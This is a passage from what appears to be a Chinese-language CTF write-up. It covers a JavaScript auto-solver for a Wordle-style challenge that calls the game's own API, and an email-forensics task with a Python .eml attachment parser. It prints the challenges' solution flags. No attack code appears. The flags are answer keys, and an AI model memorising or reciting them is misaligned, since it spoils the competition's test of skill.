class="token punctuation">.</span>minCounts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> constraints<span class="token punctuation">.</span>minCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        results<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>chars<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> ch <span class="token keyword">of</span> allowedAt<span class="token punctuation">[</span>pos<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> newCount <span class="token operator">=</span> <span class="token punctuation">(</span>counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token keyword">undefined</span> <span class="token operator">&amp;&amp;</span> newCount <span class="token operator">></span> constraints<span class="token punctuation">.</span>maxCounts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>        counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span> <span class="token operator">=</span> newCount<span class="token punctuation">;</span>        chars<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">dfs</span><span class="token punctuation">(</span>pos <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> chars<span class="token punctuation">,</span> counts<span class="token punctuation">)</span><span class="token punctuation">;</span>        chars<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        counts<span class="token punctuation">[</span>ch<span class="token punctuation">]</span><span class="token operator">--</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>results<span class="token punctuation">.</span>length <span class="token operator">>=</span> limit<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">dfs</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> results<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 從候選字中挑一個「資訊量最大」的猜測：優先選擇包含較多不重複字母的字，</span>  <span class="token comment">// 這樣一次猜測能驗證更多不同字母的狀態，加速收斂</span>  <span class="token keyword">function</span> <span class="token function">pickBestGuess</span><span class="token punctuation">(</span><span class="token parameter">candidates</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> best <span class="token operator">=</span> candidates<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">let</span> bestScore <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> w <span class="token keyword">of</span> candidates<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> score <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>w<span class="token punctuation">)</span><span class="token punctuation">.</span>size<span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>score <span class="token operator">></span> bestScore<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        bestScore <span class="token operator">=</span> score<span class="token punctuation">;</span>        best <span class="token operator">=</span> w<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> best<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 保留你原本的字典過濾函式（邏輯相同，改用 matchesConstraints 統一實作，避免重複維護兩套邏輯）</span>  <span class="token keyword">function</span> <span class="token function">filterWordsByConstraints</span><span class="token punctuation">(</span><span class="token parameter">list<span class="token punctuation">,</span> constraints</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> list<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> <span class="token function">matchesConstraints</span><span class="token punctuation">(</span>w<span class="token punctuation">,</span> constraints<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> currentCandidates <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>baseList<span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> constraints <span class="token operator">=</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> usingFallback <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// 標記目前是否已經進入「字典外」的窮舉模式</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span>state<span class="token punctuation">.</span>current_word <span class="token operator">&lt;=</span> state<span class="token punctuation">.</span>total_words <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>state<span class="token punctuation">.</span>done<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">--- 目前進度：第 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>state<span class="token punctuation">.</span>current_word<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> / </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>state<span class="token punctuation">.</span>total_words<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個單字 ---</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>currentCandidates<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>usingFallback<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token string">"⚠️ 字典候選字已耗盡，切換為「約束式窮舉」模式（不再依賴字典）！"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        usingFallback <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      currentCandidates <span class="token operator">=</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span>constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">let</span> guessWord <span class="token operator">=</span> <span class="token function">pickBestGuess</span><span class="token punctuation">(</span>currentCandidates<span class="token punctuation">)</span><span class="token punctuation">;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">發送猜測: "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">" (當前候選字剩餘: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>currentCandidates<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>usingFallback <span class="token operator">?</span> <span class="token string">'，窮舉模式'</span> <span class="token operator">:</span> <span class="token string">''</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">apiCall</span><span class="token punctuation">(</span><span class="token string">'/guess'</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>        <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">guess</span><span class="token operator">:</span> guessWord <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">syncState</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>reset<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"致命錯誤：生命值歸零，遊戲已被完整重置！請重新整理頁面再試。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>correct<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> solvedLevel <span class="token operator">=</span> state<span class="token punctuation">.</span>current_word <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">🎉 答對了！第 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>solvedLevel<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> 個字挑戰成功：「</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">」</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 記錄每一關的正確答案，供最後 /finish 拿到的 coordinates 解謎用</span>        window<span class="token punctuation">.</span>__solvedWords <span class="token operator">=</span> window<span class="token punctuation">.</span>__solvedWords <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        window<span class="token punctuation">.</span>__solvedWords<span class="token punctuation">[</span>solvedLevel<span class="token punctuation">]</span> <span class="token operator">=</span> guessWord<span class="token punctuation">;</span>        <span class="token comment">// 進入下一關：重置字典候選字、約束狀態、fallback 標記</span>        currentCandidates <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>baseList<span class="token punctuation">]</span><span class="token punctuation">;</span>        constraints <span class="token operator">=</span> <span class="token function">createEmptyConstraints</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        usingFallback <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>        <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> <span class="token number">300</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>wordFailed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"❌ 達 6 次嘗試極限，扣 1 命！單字不變，繼續收斂剩餘字表（約束狀態不會重置）。"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 注意：這裡刻意不 reset constraints，因為單字沒變，之前收集到的線索依然有效</span>      <span class="token punctuation">&#125;</span>      <span class="token comment">// 無論目前是字典模式還是窮舉模式，約束狀態永遠疊加更新</span>      <span class="token function">updateConstraints</span><span class="token punctuation">(</span>constraints<span class="token punctuation">,</span> guessWord<span class="token punctuation">,</span> data<span class="token punctuation">.</span>feedback<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>usingFallback<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        currentCandidates <span class="token operator">=</span> <span class="token function">bruteForceGenerate</span><span class="token punctuation">(</span>constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        currentCandidates <span class="token operator">=</span> <span class="token function">filterWordsByConstraints</span><span class="token punctuation">(</span>currentCandidates<span class="token punctuation">,</span> constraints<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"API 請求出錯:"</span><span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token comment">// 伺服器字典跟我們本地字典有落差：這個字我們猜了但伺服器根本不收，</span>      <span class="token comment">// 代表這次請求完全沒有消耗掉任何嘗試次數，也沒有拿到任何 feedback，</span>      <span class="token comment">// 唯一該做的就是「以後永遠不要再猜這個字」，避免無限浪費請求。</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">.</span>message <span class="token operator">&amp;&amp;</span> err<span class="token punctuation">.</span>message<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'not in word list'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">🗑️ 伺服器判定 "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>guessWord<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">" 不在字典內，永久剔除（本關 + 全域字庫）。</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 從本關候選字移除</span>        currentCandidates <span class="token operator">=</span> currentCandidates<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">w</span> <span class="token operator">=></span> w <span class="token operator">!==</span> guessWord<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 從全域 baseList 移除，避免下一關重置候選字時又把它撿回來</span>        <span class="token keyword">const</span> idx <span class="token operator">=</span> baseList<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>guessWord<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>idx <span class="token operator">!==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> baseList<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>idx<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 不需要 sleep，因為這不是真的網路/伺服器錯誤，重試不會有幫助也不會有害，直接進下一輪即可</span>        <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token comment">// 其他未知錯誤（網路問題、伺服器 500 等）才用原本的保守重試策略</span>      currentCandidates<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>state<span class="token punctuation">.</span>done<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"🏆 50 關全數通關！正在索取 Flag..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> finalData <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">apiCall</span><span class="token punctuation">(</span><span class="token string">'/finish'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"恭喜獲取最終通關數據："</span><span class="token punctuation">,</span> finalData<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>finalData<span class="token punctuation">.</span>coordinates<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">decodeCoordinates</span><span class="token punctuation">(</span>finalData<span class="token punctuation">.</span>coordinates<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"獲取最終 Flag 失敗："</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">// ============================================================</span><span class="token comment">// 解謎輔助函式：假設 coordinates 每組三位數 = 「前兩碼:關卡編號(01~50)」</span><span class="token comment">// + 「末碼:該關答案內第幾個字母(1~5)」，依序取出字母組成 flag。</span><span class="token comment">// 若拼出來不像 flag，會同時印出其他可能的拆法，方便手動比對。</span><span class="token comment">// ============================================================</span><span class="token keyword">function</span> <span class="token function">decodeCoordinates</span><span class="token punctuation">(</span><span class="token parameter">coordString</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> solved <span class="token operator">=</span> window<span class="token punctuation">.</span>__solvedWords <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> parts <span class="token operator">=</span> coordString<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\s+</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"=== 嘗試解碼 coordinates（假設：前兩碼=關卡編號, 末碼=字母位置） ==="</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> ok <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> p <span class="token keyword">of</span> parts<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>p<span class="token punctuation">.</span>length <span class="token operator">!==</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> ok <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> level <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> pos <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> word <span class="token operator">=</span> solved<span class="token punctuation">[</span>level<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>word <span class="token operator">||</span> pos <span class="token operator">&lt;</span> <span class="token number">1</span> <span class="token operator">||</span> pos <span class="token operator">></span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">warn</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">⚠️ 無法解析 "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>p<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"：level=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>level<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> pos=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>pos<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> word=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>word <span class="token operator">||</span> <span class="token string">'（未記錄，可能是尚未通關或編號從0開始）'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      ok <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    result <span class="token operator">+=</span> word<span class="token punctuation">[</span>pos <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ok<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">解碼結果: "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>result<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">autoSolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>得到</p><pre class="line-numbers language-none"><code class="language-none">解碼結果: &quot;emmagtsrow&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>所以 Flag 就是 <code>grodno{emmagtsrow}</code></p><h1 id="forensics" tabindex="-1">Forensics</h1><h2 id="invoice-without-a-bank" tabindex="-1" id="Invoice-Without-A-Bank">Invoice Without A Bank</h2><p><img src="2026-07-14-20-32-25.png" alt="Invoice Without A Bank"></p><p>題目說 email 的主旨是 <code>Fatura Emitida -</code> 開頭的</p><p>因為信也不多，所以直接用 QuickLook 一個一個看即可。</p><p><img src="2026-07-20-14-31-11.png" alt="sample-717"></p><blockquote><p>Flag: <code>grodno{Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso}</code></p></blockquote><p>而若信件 sample 過多，我們可藉由以下(AI寫的)腳本：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pathlib <span class="token keyword">import</span> Path<span class="token keyword">from</span> email <span class="token keyword">import</span> policy<span class="token keyword">from</span> email<span class="token punctuation">.</span>parser <span class="token keyword">import</span> BytesParser<span class="token keyword">for</span> eml <span class="token keyword">in</span> Path<span class="token punctuation">(</span><span class="token string">"emails"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>rglob<span class="token punctuation">(</span><span class="token string">"*.eml"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>eml<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>        msg <span class="token operator">=</span> BytesParser<span class="token punctuation">(</span>policy<span class="token operator">=</span>policy<span class="token punctuation">.</span>default<span class="token punctuation">)</span><span class="token punctuation">.</span>parse<span class="token punctuation">(</span>f<span class="token punctuation">)</span>    subject <span class="token operator">=</span> msg<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"Subject"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token string">"Fatura Emitida -"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> subject<span class="token punctuation">:</span>        <span class="token keyword">continue</span>    subject_id <span class="token operator">=</span> subject<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">"Fatura Emitida -"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> part <span class="token keyword">in</span> msg<span class="token punctuation">.</span>iter_attachments<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        fn <span class="token operator">=</span> part<span class="token punctuation">.</span>get_filename<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> fn <span class="token keyword">and</span> fn<span class="token punctuation">.</span>lower<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>endswith<span class="token punctuation">(</span><span class="token string">".pdf"</span><span class="token 